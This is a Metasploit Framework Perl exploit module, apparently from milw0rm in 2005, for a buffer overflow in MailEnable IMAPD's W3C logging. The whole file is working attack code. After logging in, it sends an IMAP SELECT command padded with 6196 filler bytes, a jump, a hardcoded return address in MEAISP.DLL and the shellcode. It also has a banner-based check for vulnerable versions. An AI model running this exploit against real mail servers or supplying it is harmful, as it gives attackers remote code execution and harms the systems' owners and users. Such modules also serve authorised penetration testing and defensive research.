##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::mailenable_imap_w3c;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
  };

my $info = {
  'Name'    => 'MailEnable IMAPD W3C Logging Buffer Overflow',
  'Version'  => '$Revision: 1.1 $',
  'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
  'Arch'    => [ 'x86' ],
  'OS'      => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
  'Priv'    => 1,
  'AutoOpts'  =>
    {
    'EXITFUNC'  => 'thread',
    },
  'UserOpts'  =>
    {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 143],
    'USER'  => [1, 'DATA', 'IMAP Username'],
    'PASS'  => [1, 'DATA', 'IMAP Password'],

    },
  'Payload' =>
    {
    'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
    'Space'     => 600,
    'BadChars'  => "\x00\x0a\x0d\x20",
    'Keys'      => ['+ws2ord'],
    },
  'Description'  => Pex::Text::Freeform(qq{
    This module exploits a buffer overflow in the W3C logging
  functionality of the MailEnable IMAPD service. Logging is not
  enabled by default and this exploit requires a valid username
  and password to exploit the flaw. MailEnable Professional version
  1.6 and prior and MailEnable Enterprise version 1.1 and prior are
  affected.    
}),
  'Refs'  =>
    [
    ['BID', 15006],
    ],
  'Targets' =>
    [
    ['MailEnable 1.54 Pro Universal', 0x1001c019], #MEAISP.DLL
    ],
  'Keys' => ['imap'],
  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

  return($self);
}

sub Check {
  my ($self) = @_;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');

  my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr'  => $target_host,
    'PeerPort'  => 25,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL'       => $self->GetVar('SSL'),
    );

  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return $self->CheckCode('Connect');
  }

  $s->Send("QUIT\r\n");
  my $res = $s->Recv(-1, 20);
  $s->Close();

  if ($res !~ /MailEnable Service, Version: 0-1\.54/) {
    $self->PrintLine("[*] This server does not appear to be vulnerable.");
    return $self->CheckCode('Safe');
  }

  $self->PrintLine("[*] Vulnerable installation detected :-)");
  return $self->CheckCode('Detected');
}

sub Exploit {
  my $self = shift;

  my $targetHost  = $self->GetVar('RHOST');
  my $targetPort  = $self->GetVar('RPORT');
  my $targetIndex = $self->GetVar('TARGET');
  my $user        = $self->GetVar('USER');
  my $pass        = $self->GetVar('PASS');
  my $encodedPayload = $self->GetVar('EncodedPayload');
  my $shellcode   = $encodedPayload->Payload;
  my $target = $self->Targets->[$targetIndex];

  my $sock = Msf::Socket::Tcp->new(
    'PeerAddr' => $targetHost,
    'PeerPort' => $targetPort,
    );
  if($sock->IsError) {
    $self->PrintLine('Error creating socket: ' . $sock->GetError);
    return;
  }

  my $resp = $sock->Recv(-1);
  chomp($resp);
  $self->PrintLine('[*] Got Banner: ' . $resp);

  my $sploit = "a01 LOGIN $user $pass\r\n";
  $sock->Send($sploit);
  my $resp = $sock->Recv(-1);
  if($sock->IsError) {
    $self->PrintLine('Socket error: ' . $sock->GetError);
    return;
  }
  if($resp !~ /^a01 BAD LOGIN-/) {
    $self->PrintLine('Login error: ' . $resp);
    return;
  }
  $self->PrintLine('[*] Logged in, sending overflow');

  my $splat = Pex::Text::AlphaNumText(6196);
  $sploit =
    "a01 SELECT ". $splat.
    "\xeb\x06".  pack('V', $target->[1]).
    $shellcode. "\r\n";

  $sock->Send($sploit);

  my $resp = $sock->Recv(-1);
  if(length($resp)) {
    $self->PrintLine('[*] Got response, bad: ' . $resp);
  }

  return;

}

1;

# milw0rm.com [2005-11-20]